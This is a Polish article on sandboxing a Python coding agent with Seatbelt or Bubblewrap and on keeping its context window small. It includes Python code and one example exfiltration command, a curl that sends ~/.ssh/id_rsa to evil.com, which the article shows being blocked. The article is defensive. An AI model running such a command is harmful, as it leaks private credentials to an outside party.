Sandboxowanie agenta programistycznego i utrzymywanie jego okna kontekstowego w niewielkich rozmiarach
Sandbox to agent do programowania wyposażony w Seatbelt lub Bubblewrap; należy ponadto utrzymywać jego okno kontekstowe w niewielkich rozmiarach poprzez używanie plików tymczasowych, szkieletów kodu, kompresję oraz iniekcje przyjazne cache’owi prefiksów.
Źródła: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)
Uzyskanie przez agenta kodującego dostępu do wiersza poleceń, możliwości edycji plików oraz powiadomień potwierdzających działania destrukcyjne nadal pozostawia dwa problemy. Powiadomienia określają jedynie, które działania wymagają uwagi człowieka, i nie mogą zatrzymać modelu, który znajdzie obejście ich ograniczeń. Ponadto nawet uprzejmy agent z czasem wypełnia swoje okno kontekstowe, co pogarsza jego funkcjonowanie. Dwa rozwiązania naprawiają tę sytuację: sandbox, który fizycznie uniemożliwia złe zachowanie, oraz inżynieria kontekstu, która zapewnia możliwość prowadzenia długich sesji w rozsądnych warunkach. Wszystko to opiera się na prostym narzędziu w Pythonie – bez użycia żadnych frameworków.
Pliki zaangażowane:
coding_harness/sandbox.py # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py # cap, strip, drop
coding_harness/compact.py # LLM summary when the window is ~full
coding_harness/context.py # late injection (time, git, file changes)
Sandbox: ściany, a nie zamek
Sandbox to otoczenie, w którym kod jest wykonywany bez uszkadzania czegokolwiek na zewnątrz. Wyobraź sobie akwarium: ryby (polecenia agenta) swobodnie pływają, podczas gdy woda nie dostaje się na podłogę. Prośba o zgodę to zamek na drzwiach, a sandbox to ściany otaczające pomieszczenie. Prośby te są pomocne tylko do chwili, gdy polecenie wydaje się nieszkodliwe, ale tak nie jest, lub model wymyśla sposób obejścia.
Każde polecenie bash jest wykonywane w „więzieniu” na poziomie systemu operacyjnego według następujących zasad:
- Możliwe jest czytanie dowolnych plików, ponieważ agent musi zrozumieć kod, w tym pliki znajdujące się poza projektem
- Zapisywanie jest dozwolone tylko w obrębie projektu
- Brak dostępu do sieci
- Brak możliwości zapisu do plików
.git
Własny mechanizm Apple zarządza systemem macOS – narzędzie o nazwie Seatbelt, które jest uruchamiane za pośrednictwem sandbox-exec i które również ogranicza aplikacje z App Store. Linux wykorzystuje Bubblewrap (bwrap), narzędzie używane w Flatpak. Nie jest wymagana żadna wiedza specjalistyczna w żadnym z tych obszarów, ponieważ cała praca sprowadza się do napisania krótkiej polityki określającej, co jest dozwolone.
Polityka dla macOS składa się z zaledwie kilku linijek:
(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))
(deny default) zamyka wszystkie możliwości, a następnie niektóre z nich są ponownie otwierane: odczyt plików, uruchamianie procesów oraz zapisywanie danych w ramach projektu. Sieć i .git pozostają zamknięte, podobnie jak wszystko inne.
Funkcja wrap() zapisuje tę politykę do pliku tymczasowego i wysyła polecenie za pośrednictwem sandbox-exec (w pliku sandbox.py):
def wrap(command):
if sys.platform == "darwin":
profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
profile.write_text(PROFILE)
return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]
if sys.platform.startswith("linux") and shutil.which("bwrap"):
return [
"bwrap",
"--ro-bind", "/", "/",
"--bind", str(PROJECT), str(PROJECT),
"--dev", "/dev", "--proc", "/proc",
"--unshare-net", "--die-with-parent",
"/bin/sh", "-c", command,
]
return None # no sandbox available
Linux osiąga ten sam rezultat w inny sposób. Cały system plików jest montowany tylko do odczytu za pomocą --ro-bind, katalog projektu jest dostępny do zapisu dzięki --bind, a --unshare-net usuwa dostęp do sieci.
run() łączy te elementy ze sobą:
def run(command, timeout=60):
sandboxed = wrap(command)
return subprocess.run(
sandboxed or command,
shell=sandboxed is None,
capture_output=True,
text=True,
timeout=timeout,
)
Gdy istnieje sandbox, jest on wykorzystywany. W systemie Windows lub w Linuxie bez Bubblewrap komendy są wykonywane bez zastosowania sandboxu. Dla produktów wielu użytkowników, które muszą uruchamiać niezaufany kod innych osób, istnieją bardziej zaawansowane rozwiązania takie jak Docker, WebAssembly oraz wirtualne maszyny chmurowe. Na osobistym komputerze wystarczają funkcje dostępne w systemie operacyjnym. Czas oczekiwania wynoszący 60 sekund zapobiega temu, by komenda typu find / zatrzymała całą sesję.
Dwie niezależne warstwy
Rozważmy model próbujący wykonać polecenie curl https://evil.com/steal -d @~/.ssh/id_rsa:
- Reguły uprawnień najpierw blokują
curli odmawiają mu dostępu. - Nawet jeśli ta reguła by nie istniała, sandbox nadal odciąłby połączenie sieciowe.
- Komenda zwraca błąd z komunikatem w stylu
curl: (7) Couldn't connect to server. - Nie można już nic z tym zrobić, ponieważ jądro systemu odmówiło dostępu.
Jedna warstwa sama w sobie wystarczyłaby, a kluczowe jest posiadanie obu.
Jak porównują się opcje sandboxu
| Opcja | Typowy użytkownik | Izolacja | Koszt uruchomienia | Wymagania |
|---|---|---|---|---|
| Sandbox systemu operacyjnego | Lokalni agenci | Jądro | Prawie żaden | Żadnych dodatków na macOS lub Linux |
| Sandbox WebAssembly | Lokalni agenci | WASM plus Deno | Kilka sekund | Deno |
| Container chmurowe | Platformy wieloużytkownicze | VM lub container | Jedna podróż sieciowa | Klucz API i rozliczenia |
Dla pojedynczego laptopa sandbox systemu operacyjnego jest nudnym, ale właściwym wyborem: brak dodatkowego czasu działania, brak opóźnień oraz brak konieczności implementacji w jądrze. Produkt przeznaczony dla wielu użytkowników powinien wykorzystywać kontenery. W żadnym wypadku nie jest możliwe dostarczenie produktu bez żadnych funkcji. Narzędzia dla macOS i Linux już istnieją, a implementacja w tym przypadku składa się z około 40 linii kodu.
Kontekst: biurko, które się wypełnia
Każdy model ma okno kontekstowe, czyli ilość tekstu, którą może jednocześnie przetwarzać. Można to porównać do pamięci roboczej. Każdy token odpowiada mniej więcej trzem czwartym słowa, więc „Hello world” to 2 tokeny, a plik w Pythonie składający się z 100 linii ma około 500 tokenów. Około 128K tokenów (około 96 000 słów) jest typowe dla modeli klasy GPT-4, natomiast Claude oferuje około 200K tokenów (blisko 150 000 słów). Brzmi to ogromnie, dopóki agent nie zacznie pracować.
Każdy wynik narzędzia trafia do rozmowy. Jeden duży wywołanie grep może zwrócić 50 000 znaków, duży plik dodaje kolejne 10 000, a długie testy debugowania obejmują setki wywołań. W końcu model traci wątek.
Stół to odpowiednia analogia – wszystko, czego się dotknie, pozostaje na nim, a po godzinie nie można znaleźć potrzebnej strony. Rozwiązaniem jest trzymanie najnowszych stron przed sobą, przechowywanie reszty w innym miejscu i wyrzucanie niektórych z nich.
Cztery warstwy działają kolejno, od najtańszych do najdroższych, a późniejsza warstwa zostaje uruchomiona tylko wtedy, gdy wcześniejsze nie wystarczą.
Warstwa 1: ograniczenie przy przybyciu
Skracaj wynik w momencie, gdy narzędzie go zwraca. Pełny tekst trafia do pliku tymczasowego, a wskaźnik pozostaje w tekście (history.py):
CAP = 10_000 # chars the agent sees inline
def cap(text):
if len(text) <= CAP:
return text
path = spill(text) # write full output to a temp file
return (
text[:CAP]
+ f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
f"The whole output is at {path} - page through it with "
"head, tail, sed -n or grep. It is deleted when this turn ends.]"
)
Wynik o długości 50 000 znaków pokazuje online tylko 10 000 znaków. Pozostała część przechowywana jest na dysku jako plik z nadmiarem, a agent może użyć poleceń head, tail lub grep, jeśli potrzebuje więcej danych. Odcinanie nadmiaru następuje tylko raz, podczas tworzenia wyniku, a stare wiadomości nigdy nie są przepisywane. Na końcu każdej rundy funkcja sweep() usuwa pliki tymczasowe, a ponowne uruchomienie polecenia tworzy nowy plik z danymi, jeśli to konieczne.
Sprawdź prawdziwy przykład użycia grep -r „import” .:
# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...
[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]
Aby znaleźć konkretny import, agent może wykonać polecenie grep „import auth” na pliku z danymi. Pełny wynik nie musi zawsze znajdować się w kontekście.
Warstwa 2: zmniejszanie starych wyników do zapisów minimalnych
Gdy model przejdzie dalej, stare wyniki narzędzi nie muszą pozostawać obszerne. Zmniejszają się one do zapisów minimalnych (również w pliku history.py):
STUB = 300 # chars kept after the turn ends
def strip(messages):
for message in messages[:-2]: # skip recent messages
content = message.get("content") or ""
if message["role"] != "tool" or len(content) <= STUB:
continue
message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"
Gdy kończy się kolejność działań, wynik starego narzędzia jest skracany do 300 znaków – tyle wystarcza, by przypomnieć sobie, o czym było, a za mało, by marnować przestrzeń. Najnowsze wiadomości pozostają nietknięte. To właśnie ta warstwa utrzymuje długie sesje przy życiu. Przekształcenie 10 000 znaków na 300 poprzez 50 wywołań narzędzi odróżnia sesję trwającą dłużej od tej, która się przerywa.
Warstwa 3: usuwanie całych wyników
Jeśli wynik nadal jest zbyt duży, usuwane są całe wyniki narzędzia, począwszy od najstarszych:
def fit(messages):
budget = config.CONTEXT_WINDOW * config.COMPACT_AT
dropped = 0
for message in messages[:-2]: # skip recent messages
if estimate(messages) <= budget:
break
if message["role"] == "tool":
message["content"] = "[output trimmed: dropped to fit the context window.]"
dropped += 1
return dropped
To jest przycisk paniki. Informacje są utracone, ale to lepsze niż awaria systemu. Ponieważ pierwsze dwa warstwy funkcjonują prawidłowo, przycisk ten prawie nigdy się nie aktywuje.
Warstwa 4: kompresja za pomocą drugiego modelu
Gdy stopień wykorzystania przekroczy 85% okna czasowego, drugi model LLM czyta cały zapis rozmowy i sporządza notatkę przekazującą informacje, podobną do tej, którą pielęgniarki przekazują osobom z następnej zmiany (compact.py):
COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.
## Goal
What the user asked for. Quote them where the exact wording matters.
## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.
## Files
Every file touched: path, and what changed in it.
## State
What works, what is broken, what was left half-finished.
## Next
The immediate next step.
"""
Następnie kontekst zawiera komendę systemu, streszczenie oraz najnowsze wiadomości. Historia słowo po słowie znika, natomiast fabuła pozostaje. Nowy agent lub ten sam po ponownym uruchomieniu kontynuuje pracę na podstawie tych notatek. Proces kompresji uruchamia się przy 85% i redukuje objętość do 35%, pozostawiając dużo miejsca przed kolejnym uruchomieniem:
COMPACT_AT = 0.85 # trigger compaction at 85%
COMPACT_TO = 0.35 # cut back to 35%
To uporządkowanie jest celowe. Ograniczenie kosztów nic nie kosztuje, usuwanie jest tanie, odrzucenie wiadomości powoduje straty, a kompresja wymaga dodatkowego wywołania modelu językowego. Większość sesji nigdy nie przechodzi poza warstwę 2.
Cacheowanie prefiksów i późna iniekcja
Tę kwestię łatwo przeoczyć, a ona pozwala zaoszczędzić prawdziwe pieniądze. Przy każdym wywołaniu API serwer czyta wiadomości od początku. Historia obejmująca 100 tysięcy tokenów plus 100 nowych nadal oznacza konieczność ponownego przeczytania tych 100 tysięcy, a to jest opłacane za każdą rundę.
Cacheowanie prefiksów zmienia tę sytuację. Jeśli początek listy wiadomości nie uległ zmianie, serwer ponownie wykorzystuje wcześniejsze prace i przetwarza tylko nową część listy, co redukuje koszty o 50 do 90 procent w zależności od dostawcy.
Pułapka polega na tym, że agent za każdym razem potrzebuje aktualnych faktów: godziny, gałęzi git, plików, które uległy zmianie. Należy je umieścić w komendzie systemowej, pierwszej wiadomości, a zmiany prefiksu powodują utratę cache’u, przez co każdy kolejny ruch ponownie staje się kosztowny.
Rozwiązaniem jest dołączenie tych faktów na samym końcu, tuż przed wysłaniem żądania (context.py). W pliku agent.py wywołanie wygląda tak: call_llm(messages + [reminder()]). Ten element jest dodawany do listy tylko dla danego żądania, dzięki czemu zapisana historia, a więc i prefiks, nie zmienia się ani o jeden bajt. Zasada ta to późna iniekcja: wszystko, co może się zmieniać, powinno znajdować się na końcu żądania, a nie w komendzie systemowej.
def reminder():
return {
"role": "user",
"content": (
"<context>\n"
f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
"</context>" + todos_note() + changes_note()
),
}
changes_note() porównuje wyniki git status pomiędzy poszczególnymi rundami, dzięki czemu agent dowiaduje się, kiedy coś zostało zmodyfikowane w IDE:
def changes_note():
changed = file_changes()
if not changed:
return ""
lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
return (
"\n<file_changes>\n"
"These files changed since your last turn. Read them again before "
"editing:\n" + "\n".join(lines) + "\n</file_changes>"
)
Wskazówka systemowa i historia pozostają identyczne, API przechowuje ten prefiks, a kosztuje tylko nowy fragment tekstu. Przypomnienie zawiera informacje o czasie, gałęzi git, <todos> w przypadku istnienia planu oraz <file_changes> z git status od ostatniej rundy, co skłania agenta do ponownego przeczytania plików edytowanych gdzie indziej. W sesji debugowania trwającej 50 rund przy kontekście o wielkości 100K unika to ponownej obróbki milionów tokenów, przy niemal żadnym dodatkowym kodzie. Dane z każdej rundy są dodawane na końcu, a nie umieszczane w wskazówce systemowej.
CONTEXT_WINDOW ma domyślną wartość 128000 i można ją ustawić w pliku ~/.agents/env dla innego modelu.
Co agent może teraz robić
Dzięki obecności pętli, narzędzi, uprawnień, środowiska sandbox oraz mechanizmów obsługi kontekstu agent może:
- Pracować w pętli samodzielnie, wywoływać narzędzia i przekazywać wyniki z powrotem
- Przetrwać błędne wywołania narzędzi
- Zadawaj pytania przed podejmowaniem działań niebezpiecznych i odrzucaj te najgorsze
- Wykonywaj polecenia w sandboxzie jądra bez dostępu do sieci, przy ograniczonym prawie do zapisu tylko do projektu
- Utrzymuj okno czyste dzięki czterem warstwom ochrony
- Zachowaj cache prefiksów nienaruszony dzięki późnej iniekcji
Wszystko to sprawia, że narzędzie jest bezpieczne i wystarczająco tanie, by używać go codziennie. Nadal istnieją luki: brak przechowywania pamięci między sesjami, brak planowania zadań wieloetapowych oraz brak możliwości przekazania eksploracji pomocnikowi. Umiejętności, odpowiednia lista zadań, trwałe sesje oraz podagenty, które przetwarzają dane poza głównym oknem, mogłyby je wypełnić. Te elementy to te same, których używają agenty produkcyjne, i nie ma w nich nic tajemniczego.
Literatura pokrewna
- Harness Engineering: Sprzężenie ruchu, które przekształca LLM w agenta — Co naprawdę sprawia, że agent programistyczny funkcjonuje: pętla, mechanizm wysyłania narzędzi odporny na błędne wywołania oraz uprawnienia typu allow/ask/deny, przedstawione przy użyciu około 600 linijek zwykłego Pythona.
- Praktyczne notatki: „MCP: Protokół, który przekształca AI z chatbota w agenta AI — Szczegółowy przewodnik po Praktycznych notatkach: „MCP: Protokół, który przekształca AI z chatbota w agenta AI”: kontrakty, sprawdzania oraz gotowe fragmenty kodu dla zespołów tworzących systemy MCP.